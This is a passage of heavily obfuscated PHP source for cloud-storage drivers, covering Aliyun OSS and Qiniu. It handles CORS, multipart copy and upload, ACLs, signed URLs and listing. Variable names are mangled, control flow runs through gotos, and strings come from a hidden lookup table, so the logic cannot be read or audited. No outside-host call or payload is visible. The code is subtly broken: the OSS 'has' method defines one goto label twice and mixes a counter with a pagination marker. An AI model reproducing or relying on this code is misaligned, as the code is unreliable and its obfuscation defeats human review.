OSS\Model\CorsConfig(); $e = new OSS\Model\CorsRule(); goto Cȶ; A: $e->setMaxAgeSeconds(600); $e->addExposeHeader($e⢥[1164]); $e->addAllowedHeader($e⢥[1159]); goto e; Bʃ: } public function getBucketCors() { goto f߳; b̰: $E֐ = $A[0]->getMaxAgeSeconds(); $f = $A[0]->getExposeHeaders(); $dܒ = $A[0]->getAllowedHeaders(); goto aꐇͩ; d񩂗: if (!$A || !($A = $A->getRules())) { return null; } $DϽݍ = $A[0]->getAllowedOrigins(); $cƝũ = $A[0]->getAllowedMethods(); goto b̰; f߳: $Eפ =& $_SERVER[ȦÆ]; $A = null; try { $A = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $B) { return null; } goto d񩂗; aꐇͩ: return array($Eפ[181] => isset($DϽݍ[0]) ? $DϽݍ[0] : $Eפ[43], $Eפ[185] => $cƝũ, $Eפ[1165] => $E֐, $Eפ[1166] => isset($f[0]) ? $f[0] : $Eפ[43], $Eפ[183] => isset($dܒ[0]) ? $dܒ[0] : $Eפ[43]); goto eհ; eհ: } public function isBucketCors() { goto F; F: $E =& $_SERVER[ȦÆ]; $Eߍ = $this->getBucketCors(); if (!$Eߍ || !is_array($Eߍ)) { return !1; } goto E; DǑ: $c捇ߕ = array($E[186], $E[187], $E[188], $E[189], $E[190]); $bʂ = array_diff($c捇ߕ, $e); return empty($bʂ); goto a; E: if ($Eߍ[$E[181]] != $E[182] || $Eߍ[$E[183]] != $E[182]) { return !1; } $e = array_map($E[184], $Eߍ[$E[185]]); if (!is_array($e)) { $e = array(); } goto DǑ; a: } public function mkfile($dӈ, $bÈ = '', $Aϛ͕ = REPEAT_RENAME) { $c = $this->setContent($dӈ, $bÈ); if ($c !== !1) { return $this->getPathOuter($dӈ); } return !1; } public function mkdir($B, $b = REPEAT_SKIP) { if ($this->_isFolder($B)) { return $this->getPathOuter($B); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($B)); } catch (OSS\Core\OssException $fڡې) { return !1; } return $this->getPathOuter($B); } private function fileList($f, $Aٮ = '', $B‹ = 0) { goto Aܯ䍡; d: while (!0) { $D = array($dƦ[1167] => $Aٮ, $dƦ[192] => $bۛ, $dƦ[1168] => $A댂, $dƦ[1169] => $f); try { $eً = $this->client->listObjects($this->bucket, $D); } catch (OSS\Core\OssException $cӌ) { break; } $f = $eً->getNextMarker(); $fך = $eً->getObjectList(); $Dڿ = $eً->getPrefixList(); foreach ($fך as $Bֵ) { if ($Bֵ->getKey() == $bۛ) { continue; } $Aʡյ = $Bֵ->getKey(); if ($B‹) { $Aʡյ = array($dƦ[38] => $Aʡյ, $dƦ[87] => $Bֵ->getSize(), $dƦ[196] => strtotime($Bֵ->getLastModified())); } $c[] = $Aʡյ; } foreach ($Dڿ as $A٣) { $DΫ[] = $A٣->getPrefix(); } if ($f === $dƦ[43]) { break; } } return array($dƦ[84] => $DΫ, $dƦ[83] => $c); goto C; Aܯ䍡: $dƦ =& $_SERVER[ȦÆ]; $f = trim($f, $dƦ[18]); $bۛ = empty($f) ? $dƦ[43] : $f . $dƦ[18]; goto Cڹ; Cڹ: $f = $dƦ[43]; $A댂 = 1000; $DΫ = $c = array(); goto d; C: } public function copyFile($fݐ, $F΂왇) { $B = $this->size($fݐ); if ($B < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $fݐ, $this->bucket, $this->pathEncode($F΂왇)); } catch (OSS\Core\OssException $fǎ) { return !1; } return !0; } return $this->multiCopyObject($fݐ, $F΂왇, $B); } private function multiCopyObject($FޠƟ, $dҊ҈, $f) { $Bد˳ =& $_SERVER[ȦÆ]; try { goto cׯ; Dޱ: $bտ¥ = 1; $Bꮣ = 0; $aƜ = array(); goto bө; cׯ: $D = array(); if ($cň׌ = $this->hashMd5($FޠƟ)) { $D = array(OSS\OssClient::OSS_HEADERS => array($Bد˳[1170] => $cň׌)); } $e = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($dҊ҈), $D); goto Dޱ; E: $A = array(); foreach ($aƜ as $d => $Dݭ) { $A[] = array($Bد˳[1174] => $d + 1, $Bد˳[1175] => $Dݭ); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($dҊ҈), $e, $A); goto Fij; bө: $dÉ = 1024 * 1024 * 10; $Cܶ = $this->client->generateMultiuploadParts($f, $dÉ); foreach ($Cܶ as $d => $Aܞ) { $d = $Bꮣ + (int) $Aܞ[$Bد˳[1171]]; $e = (int) $Aܞ[$Bد˳[330]] + $d - 1; $c盄Ո = array($Bد˳[1172] => $d, $Bد˳[1173] => $e); $aƜ[] = $this->client->uploadPartCopy($this->bucket, $FޠƟ, $this->bucket, $this->pathEncode($dҊ҈), $bտ¥, $e, $c盄Ո); $bտ¥ = $bտ¥ + 1; } goto E; Fij: } catch (OSS\Core\OssException $F) { return !1; } return !0; } public function moveFile($B޾, $DӍƒ) { if ($this->copyFile($B޾, $DӍƒ)) { $this->remove($B޾); return !0; } return !1; } public function delFile($CƇ) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($CƇ)); } catch (OSS\Core\OssException $Aԉ) { return !1; } return !0; } public function delFolder($D) { $e =& $_SERVER[ȦÆ]; $Aˋꂿ = $this->fileList($D); if (!empty($D) && !in_array(trim($D, $e[18]) . $e[18], $Aˋꂿ[$e[83]])) { $Aˋꂿ[$e[83]][] = trim($D, $e[18]) . $e[18]; } foreach (array_chunk($Aˋꂿ[$e[83]], 1000) as $A󰃉) { try { $this->client->deleteObjects($this->bucket, $A󰃉); } catch (OSS\Core\OssException $eƉ) { continue; } } return !0; } public function rename($Fھ, $E) { return $this->renameObject($Fھ, $E); } private function fileInfo($cǴҋ, $e = array()) { goto CÉ; F݅: return $bɒ; goto E; aɆה: if (isset($e[$dԻ[87]])) { $bɒ[$dԻ[87]] = $e[$dԻ[87]]; } if (isset($e[$dԻ[116]])) { $bɒ[$dԻ[116]] = $e[$dԻ[116]]; } if (isset($e[$dԻ[196]]) && !trim($bɒ[$dԻ[116]])) { $bɒ[$dԻ[116]] = $e[$dԻ[196]]; } goto F݅; CÉ: $dԻ =& $_SERVER[ȦÆ]; $bɒ = array($dԻ[38] => $this->pathThis($cǴҋ), $dԻ[85] => $this->getPathOuter($cǴҋ), $dԻ[39] => $dԻ[173], $dԻ[193] => 0, $dԻ[116] => 0, $dԻ[87] => 0, $dԻ[166] => $this->ext($cǴҋ), $dԻ[194] => !0, $dԻ[195] => !0); if (empty($e)) { $Bҭ = $this->objectMeta($cǴҋ); if (!$Bҭ) { return $bɒ; } $e = array($dԻ[116] => strtotime($Bҭ[$dԻ[1176]]), $dԻ[87] => $Bҭ[$dԻ[1177]] + 0); } goto aɆה; E: } private function folderInfo($C, $b٣ = array()) { $CΒ =& $_SERVER[ȦÆ]; $b͚Đ = array($CΒ[38] => $this->pathThis($C), $CΒ[85] => $this->getPathOuter($CΒ[18] . $C), $CΒ[39] => $CΒ[86], $CΒ[193] => 0, $CΒ[116] => 0, $CΒ[194] => !0, $CΒ[195] => !0); if (empty($b٣)) { $C = rtrim($C, $CΒ[18]) . $CΒ[18]; $E֨ = $this->objectMeta($C); if (!$E֨) { return $b͚Đ; } $b٣ = array($CΒ[193] => $E֨[$CΒ[1178]][$CΒ[1179]], $CΒ[116] => strtotime($E֨[$CΒ[1176]])); } if (isset($b٣[$CΒ[116]])) { $b͚Đ[$CΒ[116]] = $b٣[$CΒ[116]]; } if (isset($b٣[$CΒ[193]])) { $b͚Đ[$CΒ[193]] = $b٣[$CΒ[193]]; } return $b͚Đ; } public function listPath($BÕ, $bڣ = false) { $aª =& $_SERVER[ȦÆ]; $fҨ = $this->fileList($BÕ, $aª[18], !0); foreach ($fҨ[$aª[84]] as $Cʹڪ => $b̤臨) { $fҨ[$aª[84]][$Cʹڪ] = $this->folderInfo($b̤臨, $b̤臨); } foreach ($fҨ[$aª[83]] as $Cʹڪ => $b̤臨) { $fҨ[$aª[83]][$Cʹڪ] = $this->fileInfo($b̤臨[$aª[38]], $b̤臨); } return $fҨ; } public function has($C͖, $Dҍ = false, $B = true) { goto A; c˜ƕ: return !1; goto Eͦ; F轼: $c墋 = 0; while (!0) { $Dۄ = array($C[1167] => $C[18], $C[192] => $dݥ, $C[1168] => $A䍙, $C[1169] => $F); try { $A = $this->client->listObjects($this->bucket, $Dۄ); } catch (OSS\Core\OssException $a솣) { break; } $F = $A->getNextMarker(); $a = $A->getObjectList(); $Eǰ = $A->getPrefixList(); if ($Dҍ) { if (count($a) > 1 || count($a) == 1 && $a[0]->getKey() != $dݥ) { $F += count($a) - 1; } if (!empty($Eǰ)) { $c墋 += count($Eǰ); } if ($F === $C[43]) { break; } continue; } if ($B) { if (!empty($a)) { if (count($a) > 1 || $a[0]->getKey() != $dݥ) { return !0; } } } else { if (!empty($Eǰ)) { return !0; } } if ($F === $C[43]) { break; } } if ($Dҍ) { return array($C[197] => $F, $C[198] => $c墋); } goto c˜ƕ; A: $F = $C[43]; $A䍙 = 500; $F = 0; goto F轼; A: $C =& $_SERVER[ȦÆ]; $C͖ = trim($C͖, $C[18]); $dݥ = empty($C͖) ? $C[43] : $C͖ . $C[18]; goto A; Eͦ: } public function listAll($F۰) { $Dڈ =& $_SERVER[ȦÆ]; $D = $this->fileList($F۰, $Dڈ[43], !0); $bЯ檵 = array(); foreach ($D[$Dڈ[83]] as $b횕) { $bЯ檵[$b횕[$Dڈ[38]]] = $b횕[$Dڈ[87]]; } return $this->listAllFiles($F۰, array_keys($bЯ檵), $bЯ檵); } public function canRead($e) { $Bݱ =& $_SERVER[ȦÆ]; $F = $this->pathAcl($e); return $F == $Bݱ[1180] || $F == $Bݱ[496] ? !0 : !1; } public function canWrite($eҢ) { $Aÿ = $this->pathAcl($eҢ); return $Aÿ == $_SERVER[ȦÆ][496] ? !0 : !1; } public function pathAcl($e͜) { goto cʂȟ; Aם: return $B߼; goto FҎƻ; cʂȟ: $F =& $_SERVER[ȦÆ]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $C = $this->client->getObjectAcl($this->bucket, $this->pathEncode($e͜)); } catch (OSS\Core\OssException $AĠ) { return !1; } goto A鹅; A鹅: $B߼ = $C == $F[44] ? $this->bucketAcl : $C; if ($B߼ == $F[1181]) { return $F[1180]; } if ($B߼ == $F[1182]) { return $F[496]; } goto Aם; FҎƻ: } private function chmodPath($fè, $eۻ = '') { $Dſ =& $_SERVER[ȦÆ]; $F̎ = empty($eۻ) ? $Dſ[1182] : $eۻ; $bů = array($Dſ[44], $Dſ[191], $Dſ[1181], $Dſ[1182]); if (!in_array($F̎, $bů)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($fè), $F̎); } catch (OSS\Core\OssException $d铥ۼ) { return !1; } return !0; } public function getContent($E湠) { return $this->fileSubstr($E湠, -1); } public function setContent($A, $D񇓎 = '') { $c =& $_SERVER[ȦÆ]; try { $Bи = $this->trafficLimit($c[1183]); $FҖ = $this->client->putObject($this->bucket, $this->pathEncode($A), $D񇓎, $Bи); } catch (OSS\Core\OssException $E᪃) { return !1; } $a = array($c[1170] => trim($FҖ[$c[1184]], $c[122]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($A))); $this->updateObjMeta($A, $a); return isset($FҖ[$c[1185]][$c[1131]]) ? (int) $FҖ[$c[1185]][$c[1131]] : strlen($FҖ); } private function updateObjMeta($aΊ, $D䜾) { $aΊ = $this->pathEncode($aΊ); try { $Cɭ = array(OSS\OssClient::OSS_HEADERS => $D䜾); $this->client->copyObject($this->bucket, $aΊ, $this->bucket, $aΊ, $Cɭ); } catch (OSS\Core\OssException $fƎۯ) { return !1; } return !0; } public function upload($B䔂, $B, $B΋Û = false, $dȥ = REPEAT_REPLACE) { $C⥞ۮ =& $_SERVER[ȦÆ]; $Bݔ = trim($B䔂, $C⥞ۮ[18]); $bˆӌ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($C⥞ۮ[1170] => @md5_file($B)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($B䔂))); $bˆӌ = $this->trafficLimit($C⥞ۮ[1183], $bˆӌ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($Bݔ), $B, $bˆӌ); } catch (OSS\Core\OssException $fׅ) { return !1; } return $this->getPathOuter($B䔂); } public function getHost() { $E =& $_SERVER[ȦÆ]; $c = explode($E[177], parent::getHost()); return $c[0] . $E[177] . $this->bucket . $E[101] . $c[1]; } public function uploadFormData($b֖, $dϩʍ = 3600) { goto bಿ΅; bಿ΅: $CѦ =& $_SERVER[ȦÆ]; if (!($Aߣ = $this->getHost())) { return !1; } $B˓ = $dϩʍ; goto E; C묠: $Cх = $this->pathFather($b֖); $B = array($CѦ[1088] => $eΖ, $CѦ[1089] => array(array($CѦ[1188], 0, $c), array($CѦ[1092], $CѦ[1093], $Cх))); $b = base64_encode(json_encode($B)); goto B٤; B٤: $A좏 = base64_encode(hash_hmac($CѦ[223], $b, $this->secret, !0)); $b̐ = array($CѦ[1098] => $b, $CѦ[1189] => $this->accessKey, $CѦ[1094] => $CѦ[1086], $CѦ[1190] => $A좏, $CѦ[175] => $Aߣ); $b̐ = $this->trafficLimit($CѦ[1183], $b̐); goto E԰; E԰: return $b̐; goto c; E: $a招´ = date($CѦ[1186], time() + $B˓); $d̻넊 = new DateTime($a招´); $eΖ = $d̻넊->format(DateTime::ISO8601); goto A; A: $bՃɦ = strpos($eΖ, $CѦ[289]); $eΖ = substr($eΖ, 0, $bՃɦ) . $CѦ[1187]; $c = 1048576000 * 5; goto C묠; c: } public function multiUploadFormData($dlj, $bʝ = 3600) { $Fӓ =& $_SERVER[ȦÆ]; if (!($EҘ = $this->getHost())) { return !1; } $b = $this->trafficLimit($Fӓ[1183]); $dֳ͚ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($dlj), $b); return array($Fӓ[215] => $dֳ͚, $Fӓ[175] => $EҘ . $Fӓ[18] . $this->pathEncode($dlj), $Fӓ[216] => gmdate($Fӓ[1191]), $Fӓ[99] => $dlj); } public function multiUploadAuthData($cƼф, $Cҿ = array()) { goto bߴ; dߓ: $dա = $DЃ[1194] . $this->accessKey . $DЃ[4] . $C¹; if (strpos($a듅, $DЃ[219]) === 0) { $dա = array($DЃ[225] => $dա, $DЃ[216] => $Fֲ); if ($Eǿ) { $dա = array_merge($dա, $Eǿ); } } return $dա; goto dӱو; F: $fȯ = $cƼф; if (isset($Cҿ[$DЃ[99]])) { $fȯ = $Cҿ[$DЃ[99]]; unset($Cҿ[$DЃ[99]]); } if (isset($Cҿ[$DЃ[217]])) { $Cҿ[$DЃ[216]] = $Fֲ; return $this->listUploadParts($fȯ, $Cҿ); } goto b; b: $Dݻ = array($DЃ[218], $DЃ[43], $DЃ[125], $Fֲ, "\170\55\157\163\163\55\144\141\164\x65\72{$Fֲ}", $DЃ[18] . $this->bucket . $DЃ[18] . $fȯ . $a듅); if (strpos($a듅, $DЃ[219]) === 0) { $Dݻ[0] = $DЃ[220]; if ($Eǿ = $this->trafficLimit($DЃ[1183])) { $fȯ = $DЃ[1192]; array_splice($Dݻ, 5, 0, $fȯ . $DЃ[4] . $Eǿ[$fȯ]); } } if (isset($Cҿ[$DЃ[221]]) && $Cҿ[$DЃ[221]] == $DЃ[222]) { $Dݻ[0] = $DЃ[222]; } goto eĄ; eĄ: if (!empty($Cҿ[$DЃ[1193]])) { $Dژ = array_merge(array($Dݻ[4]), $Cҿ[$DЃ[1193]]); sort($Dژ); $Dݻ[4] = implode($DЃ[12], $Dژ); } $bݨ = implode($DЃ[12], $Dݻ); $C¹ = base64_encode(hash_hmac($DЃ[223], $bݨ, $this->secret, !0)); goto dߓ; bߴ: $DЃ =& $_SERVER[ȦÆ]; $Fֲ = isset($Cҿ[$DЃ[216]]) ? $Cҿ[$DЃ[216]] : gmdate($DЃ[1191]); $a듅 = isset($Cҿ[$DЃ[166]]) ? $Cҿ[$DЃ[166]] : $DЃ[43]; goto F; dӱو: } public function listUploadParts($eľ㕾, $e) { goto Bıؑ; FԲ롯: unset($e[$e臝[217]], $e[$e臝[221]]); $Aʨ = $this->multiUploadAuthData($eľ㕾, $e); if (empty($Aʨ)) { return !1; } goto dȪՑ΄; fNj֕: $e = $cТ陛->getListPart(); $dƟň = array(); foreach ($e as $fߌ) { $dƟň[] = array($e臝[1174] => $fߌ->getPartNumber(), $e臝[1175] => trim($fߌ->getETag(), $e臝[122])); } goto FԲ롯; Bıؑ: $e臝 =& $_SERVER[ȦÆ]; $bԲ = parse_url_query($e[$e臝[166]]); $cТ陛 = $this->client->listParts($this->bucket, $this->pathEncode($eľ㕾), $bԲ[$e臝[215]]); goto fNj֕; dȪՑ΄: return array($e臝[225] => $Aʨ, $e臝[216] => $e[$e臝[216]], $e臝[227] => $dƟň); goto Fн; Fн: } public function download($F񂔂, $AհǢ) { if ($this->isFolder($F񂔂)) { return !1; } try { $a = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $AհǢ); $a = $this->trafficLimit($_SERVER[ȦÆ][114], $a); $this->client->getObject($this->bucket, $this->pathEncode($F񂔂), $a); } catch (OSS\Core\OssException $E޿) { return !1; } return $AհǢ; } public function fileSubstr($Aن, $aƒ = 0, $d߉ = false) { if ($aƒ === -1) { $c낉 = array(); } else { if ($d߉ === !1) { $eˌ = $this->size($Aن); } else { $eˌ = $aƒ + $d߉ - 1; } $c낉 = array(OSS\OssClient::OSS_RANGE => "{$aƒ}\x2d{$eˌ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($Aن), $c낉); } catch (OSS\Core\OssException $a) { think_exception($a->getMessage()); return !1; } } private function trafficLimit($D䮡, $f = array()) { goto DĠ; Bơ: return $f; goto b㐈; DĠ: $fߏ =& $_SERVER[ȦÆ]; if ($D䮡 == $fߏ[1183] && $this->isUploadServer() || $D䮡 == $fߏ[114] && $this->isFileOutServer()) { return $f; } $Fޜ = floatval($GLOBALS[$fߏ[16]][$fߏ[94]][$fߏ[112]][$D䮡]) * 1024 * 1024 * 8; goto F͕; F͕: if (!$Fޜ) { return $f; } $Fޜ = $Fޜ < 819200 ? 819200 : ($Fޜ > 838860800 ? 838860800 : $Fޜ); $f[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($Fޜ); goto Bơ; b㐈: } public function link($DDz, $c = array()) { $D𫍄 =& $_SERVER[ȦÆ]; if (!$this->exist($DDz) || $this->isFolder($DDz)) { return !1; } try { $c = $this->trafficLimit($D𫍄[114], $c); $AƨЮ = $this->client->signUrl($this->bucket, $this->pathEncode($DDz), 3600 * 12, $D𫍄[222], $c); return $this->getCdnLink($AƨЮ); } catch (OSS\Core\OssException $A舶) { return !1; } } public function fileOut($c®܏, $EѸ = false, $fڄ̇ = false, $a = '') { goto CИ; d: $C = array(OSS\OssClient::OSS_SUB_RESOURCE => $C[1195] . rawurlencode("{$EѸ}\x3b\x66\151\x6c\x65\x6e\x61\x6d\x65\75{$fڄ̇}")); $C[OSS\OssClient::OSS_SUB_RESOURCE] .= $C[1196] . rawurlencode($aʺ); $fך = $this->link($c®܏, $C); goto f; f: $this->fileOutLink($fך); goto b蹂; c뿲: $aʺ = get_file_mime(get_path_ext($fڄ̇)); if ($aʺ == $C[207]) { return parent::fileOut($c®܏, $EѸ, $fڄ̇, $a); } $EѸ = $EѸ ? $C[208] : $C[209]; goto d; CИ: $C =& $_SERVER[ȦÆ]; if (!$fڄ̇) { $fڄ̇ = $this->pathThis($c®܏); } $fڄ̇ = rawurlencode($fڄ̇); goto c뿲; b蹂: } public function fileOutServer($aɪ, $c = false, $bז = false, $D깂ё = '') { parent::fileOut($aɪ, $c, $bז, $D깂ё); } public function fileOutImage($A咈, $dĺҋ = 250) { $dؼ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[ȦÆ][1197] . $dĺҋ); $a = $this->link($A咈, $dؼ); $this->fileOutLink($a); } public function fileOutImageServer($Bĥޭ, $C = 250) { parent::fileOutImage($Bĥޭ, $C); } public function fileOutLink($BԐ) { $C‰ =& $_SERVER[ȦÆ]; if (!$this->isCdnHost() && substr($BԐ, 0, 7) == $C‰[1101]) { $BԐ = $C‰[1102] . substr($BԐ, 7); } header($C‰[162] . $BԐ); die; } public function hashMd5($Fͧ, $e۠ϙ = '') { $E֋ =& $_SERVER[ȦÆ]; $eꄝ = $this->objectMeta($Fͧ); if (!$eꄝ) { return $E֋[43]; } if (!isset($eꄝ[$E֋[1170]]) && !empty($e۠ϙ)) { $Aԉ = $this->updateObjMeta($Fͧ, array($E֋[1170] => $e۠ϙ)); $eꄝ[$E֋[1170]] = $Aԉ ? $e۠ϙ : $E֋[43]; } return isset($eꄝ[$E֋[1170]]) ? strtolower($eꄝ[$E֋[1170]]) : $E֋[43]; } public function size($Cц) { $dү = $this->objectMeta($Cц); return $dү ? $dү[$_SERVER[ȦÆ][87]] : 0; } public function info($DƄ) { if ($this->isFolder($DƄ)) { return $this->folderInfo($DƄ); } else { if ($this->isFile($DƄ)) { return $this->fileInfo($DƄ); } } return !1; } public function exist($cϕ) { return $this->isFile($cϕ) || $this->isFolder($cϕ); } public function isFile($dۭ) { return !$this->isFolder($dۭ) && $this->objectMeta($dۭ); } public function isFolder($e˞) { return $this->cacheMethod($_SERVER[ȦÆ][228], $e˞); } protected function objectMeta($D͆) { return $this->cacheMethod($_SERVER[ȦÆ][229], $D͆); } protected function _objectMeta($D킓ٌ) { $b͑ =& $_SERVER[ȦÆ]; try { $fߦ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($D킓ٌ)); } catch (OSS\Core\OssException $b) { $fߦ = !1; } if ($fߦ) { $fߦ[$b͑[87]] = intval($fߦ[$b͑[1177]]); } return $fߦ; } protected function _isFolder($f̗ᜢ) { $FǾ̄ =& $_SERVER[ȦÆ]; if ($f̗ᜢ == $FǾ̄[43] || $f̗ᜢ == $FǾ̄[18]) { return !0; } $A뎇 = array($FǾ̄[1167] => $FǾ̄[18], $FǾ̄[192] => rtrim($f̗ᜢ, $FǾ̄[18]) . $FǾ̄[18], $FǾ̄[1168] => 1, $FǾ̄[1169] => $FǾ̄[43]); $CֳЊ = $this->client->listObjects($this->bucket, $A뎇); if ($CֳЊ->getObjectList() || $CֳЊ->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public function __construct($F) { parent::__construct(); require_once SDK_DIR . $_SERVER[ȦÆ][1198]; $this->_init($F); } public function _init($fϳ) { foreach ($fϳ as $a => $DѣϏ) { if (isset($this->{$a})) { $this->{$a} = $DѣϏ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { show_json($_SERVER[ȦÆ][1199], !1); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($BԌ, $e = '', $BιŢ = REPEAT_RENAME) { if ($this->setContent($BԌ, $e)) { return $this->getPathOuter($BԌ); } return !1; } public function mkdir($f淇, $F。 = REPEAT_SKIP) { goto d; d秂: if (!$this->mkfile($c)) { return !1; } if (!$this->moveFile($c, $f淇)) { $this->delFile($c); return !1; } return $this->getPathOuter($A뛖ܤ); goto e᭘; d: $aĊ˒ =& $_SERVER[ȦÆ]; $A뛖ܤ = trim($f淇, $aĊ˒[18]); if ($this->_isFolder($A뛖ܤ)) { return $this->getPathOuter($A뛖ܤ); } goto Cһ߃; Cһ߃: $f淇 = $A뛖ܤ . $aĊ˒[18]; $eꗼŬ = get_path_this($A뛖ܤ); $c = $f淇 . $eꗼŬ; goto d秂; e᭘: } public function copyFile($d絎, $c) { $Dի = $this->bucketManager->copy($this->bucket, $d絎, $this->bucket, $c, !0); return $Dի ? !1 : !0; } public function moveFile($f̶, $Cꆶ߹) { $C = $this->bucketManager->move($this->bucket, $f̶, $this->bucket, $Cꆶ߹, !0); return $C ? !1 : !0; } public function delFile($Aχ) { $Bիᣨ = $this->bucketManager->delete($this->bucket, $Aχ); return $Bիᣨ ? !1 : !0; } public function delFolder($bݸ) { $A = $this->fileList($bݸ); if (empty($A)) { return !0; } $Cõê = 1000; if (count($A) <= $Cõê) { return $this->qnDelObj($A) ? !1 : !0; } foreach (array_chunk($A, $Cõê) as $fݪ㓕) { $bӞ = $this->qnDelObj($fݪ㓕); if ($bӞ) { return !1; } } return !0; } private function qnDelObj($FȊ΄) { $c— = $this->bucketManager->buildBatchDelete($this->bucket, $FȊ΄); list($f, $aޟ) = $this->bucketManager->batch($c—); return $aޟ; } private function fileList($c, $D = 0) { goto D; A: $D̈ = array(); while (!0) { list($d۫, $e) = $this->bucketManager->listFiles($this->bucket, $eĚ, $BҎ, $Cʉغ, $fĻ); if ($e) { return !1; } $BҎ = array_key_exists($b͡[1169], $d۫) ? $BҎ = $d۫[$b͡[1200]] : $b͡[43]; foreach ($d۫[$b͡[1201]] as $A৉) { $b俚 = $A৉[$b͡[99]]; if ($D) { $b俚 = array($b͡[38] => $b俚, $b͡[87] => $A৉[$b͡[1202]]); } $D̈[] = $b俚; } if ($BҎ == $b͡[43]) { break; } } return $D̈; goto eޅ; D: $b͡ =& $_SERVER[ȦÆ]; $c = trim($c, $b͡[18]); $eĚ = empty($c) ? $b͡[43] : $c . $b͡[18]; goto Fݦ썸; Fݦ썸: $BҎ = $b͡[43]; $Cʉغ = 1000; $fĻ = $b͡[43]; goto A; eޅ: } public function rename($b, $C҈) { return $this->renameObject($b, $C҈); } public function fileInfo($a, $b = false, $D = array()) { goto e𮷼; b: return $B뮱; goto bؚ; e𮷼: $d =& $_SERVER[ȦÆ]; if ($b) { return array($d[38] => $this->pathThis($a), $d[85] => $this->getPathOuter($d[18] . $a), $d[39] => $d[173], $d[87] => isset($D[$d[1202]]) ? $D[$d[1202]] : 0, $d[166] => $this->ext($a)); } $B뮱 = array($d[38] => $this->pathThis($a), $d[85] => $this->getPathOuter($d[18] . $a), $d[39] => $d[173], $d[193] => 0, $d[116] => 0, $d[87] => 0, $d[166] => $this->ext($a), $d[194] => !0, $d[195] => !0); goto CƄ; CƄ: if (empty($D)) { $D = $this->objectMeta($a); if (!$D) { return $B뮱; } } if (isset($D[$d[1203]])) { $B뮱[$d[193]] = $D[$d[1203]]; } if (isset($D[$d[1202]])) { $B뮱[$d[87]] = $D[$d[1202]]; } goto b; bؚ: } public function folderInfo($aÎ, $dnj = false) { goto Bߥޯ; Bߥޯ: $e͇ˠ =& $_SERVER[ȦÆ]; if ($dnj) { return array($e͇ˠ[38] => $this->pathThis($aÎ), $e͇ˠ[85] => $this->getPathOuter($e͇ˠ[18] . $aÎ), $e͇ˠ[39] => $e͇ˠ[86]); } $Fߐ褏 = array($e͇ˠ[38] => $this->pathThis($aÎ), $e͇ˠ[85] => $this->getPathOuter($e͇ˠ[18] . $aÎ), $e͇ˠ[39] => $e͇ˠ[86], $e͇ˠ[193] => 0, $e͇ˠ[116] => 0, $e͇ˠ[1147] => !0, $e͇ˠ[1148] => !0); goto F꾄; F꾄: $aÎ = rtrim($aÎ, $e͇ˠ[18]) . $e͇ˠ[18]; $A识 = $this->objectMeta($aÎ); if (isset($A识[$e͇ˠ[1203]])) { $Fߐ褏[$e͇ˠ[193]] = $A识[$e͇ˠ[1203]]; } goto C܎; C܎: return $Fߐ褏; goto D; D: } public function listPath($eɞ򱞽, $F = false) { goto f꿹; B: $B俇 = $Cĝ = array(); while (!0) { list($A󤻎, $Dˢ瓐) = $this->bucketManager->listFiles($this->bucket, $d߅ß, $F☂, $d, $fϕ); if ($Dˢ瓐) { return !1; } $F☂ = array_key_exists($FŦ[1169], $A󤻎) ? $F☂ = $A󤻎[$FŦ[1200]] : $FŦ[43]; if (isset($A󤻎[$FŦ[1204]])) { foreach ($A󤻎[$FŦ[1204]] as $C) { if ($C == $d߅ß) { continue; } $B俇[] = $this->folderInfo($C, $F); } } if (isset($A󤻎[$FŦ[1201]])) { foreach ($A󤻎[$FŦ[1201]] as $aϰ⡩) { if ($aϰ⡩[$FŦ[99]] == $d߅ß) { continue; } $Cĝ[] = $this->fileInfo($aϰ⡩[$FŦ[99]], $F, $aϰ⡩); } } if ($F☂ == $FŦ[43]) { break; } } return array($FŦ[84] => $B俇, $FŦ[83] => $Cĝ); goto cɅ̟; f꿹: $FŦ =& $_SERVER[ȦÆ]; $eɞ򱞽 = trim($eɞ򱞽, $FŦ[18]); $d߅ß = empty($eɞ򱞽) ? $FŦ[43] : $eɞ򱞽 . $FŦ[18]; goto c; c: $F☂ = $FŦ[43]; $d = 1000; $fϕ = $FŦ[18]; goto B; cɅ̟: } public function has($B֏瑍, $bȯ = false, $E‹ڣ = true) { goto A׾; D¼: $B = $eæ̭[43]; $d = 1000; $Aߐ = $eæ̭[18]; goto fЮ; Eݵ: if ($bȯ) { return array($eæ̭[197] => $a, $eæ̭[198] => $c); } return !1; goto D—; A׾: $eæ̭ =& $_SERVER[ȦÆ]; $B֏瑍 = trim($B֏瑍, $eæ̭[18]); $fȫְ = empty($B֏瑍) ? $eæ̭[43] : $B֏瑍 . $eæ̭[18]; goto D¼; fЮ: $a = 0; $c = 0; while (!0) { list($Aӆː, $bƎ) = $this->bucketManager->listFiles($this->bucket, $fȫְ, $B, $d, $Aߐ); 